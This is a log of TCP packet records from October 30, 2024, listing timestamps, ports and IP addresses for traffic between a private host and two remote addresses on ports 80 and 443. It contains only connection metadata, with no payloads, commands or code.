Oct 30, 2024 23:11:54.482870102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.526671886 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.526751995 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.526859045 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.527184963 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.527201891 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.527213097 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.527218103 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.530713081 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.530759096 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.530847073 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.530997038 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.531013012 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.552547932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552597046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552608013 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552612066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.552634001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.552637100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552659988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.552670956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.552890062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552936077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.552954912 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552964926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.552992105 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.553003073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.553014994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.553015947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.553054094 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.553061008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.553103924 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554163933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554214954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554218054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554229975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554271936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554347038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554358959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554372072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554410934 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554435968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554513931 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554528952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554541111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554550886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554563999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554569006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554577112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554586887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554611921 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554757118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554768085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554778099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554806948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554830074 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554852009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554863930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554874897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554888010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.554897070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554924965 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.554991961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555003881 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555037975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555062056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555073023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555085897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555097103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555119038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555145979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555159092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555258989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555269957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555272102 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555280924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555331945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555358887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555367947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555380106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555397034 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555411100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555417061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555424929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555444002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555457115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555464983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555479050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555506945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555548906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555558920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555598021 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555623055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555636883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555672884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555707932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555721045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555768013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555802107 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555823088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555835962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555846930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555860043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555887938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555912971 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.555984020 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.555995941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556008101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556020975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556049109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556085110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556102037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556147099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556150913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556162119 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556202888 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556229115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556240082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556252003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556257963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556257963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556299925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556400061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556412935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556423903 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556435108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556449890 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556464911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556494951 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556550980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556560993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556585073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556601048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556628942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556641102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556651115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556662083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556672096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556683064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.556685925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556699991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.556726933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.586052895 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.586127996 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.586334944 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.586447001 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.586460114 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.586477041 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.586483002 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.589694977 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.589725971 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.589782953 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.590066910 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.590081930 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.597398043 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.597472906 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.597521067 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.597599030 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.597604990 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.597630024 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.597632885 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.600048065 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.600070953 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.600121021 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.600266933 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.600272894 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.600747108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.600811958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.600825071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.600871086 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.600888014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.600999117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.670830965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.670864105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.670876980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.670903921 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.670943975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.671154022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671171904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671184063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671196938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.671219110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.671271086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671284914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671300888 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.671325922 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.671367884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672059059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672091961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672102928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672125101 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672154903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672167063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672179937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672210932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672225952 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672246933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672257900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672295094 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672316074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672326088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672363043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672379971 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672405958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672439098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672486067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672497988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672555923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672604084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672616005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672627926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672642946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672652960 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672669888 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672707081 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672725916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672807932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672836065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672848940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672859907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672873974 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672884941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.672888041 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672921896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.672951937 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673013926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673024893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673036098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673048019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673055887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673090935 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673122883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673135042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673146963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673158884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673178911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673249006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673260927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673271894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673306942 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673327923 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673338890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673366070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673401117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673401117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673415899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673453093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673480988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673494101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673518896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673538923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673675060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673719883 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673755884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673768044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673814058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673846006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673860073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673886061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673911095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.673914909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673928976 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.673964977 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674066067 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674077988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674089909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674110889 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674135923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674153090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674165010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674179077 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674200058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674217939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674266100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674278021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674288034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674299955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674315929 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674400091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674411058 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674420118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674433947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674441099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674444914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674458027 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674458981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674483061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674509048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674602032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674613953 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674623966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674638033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674639940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674649954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674665928 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674694061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674774885 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674787045 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674798965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674809933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674815893 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674823046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674865007 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674889088 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.674937963 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674949884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.674977064 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.675002098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.719026089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.719052076 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.719065905 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.719095945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.719127893 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.719188929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.719199896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.719233990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.719264030 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790409088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790426970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790437937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790492058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790522099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790721893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790734053 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790745974 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790769100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790796995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790865898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790878057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790888071 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.790910006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.790931940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.791531086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.791543961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.791553974 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.791587114 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.791618109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.791662931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.791673899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.791704893 CET	49980	80	192.168.2.5	185.215.113.206
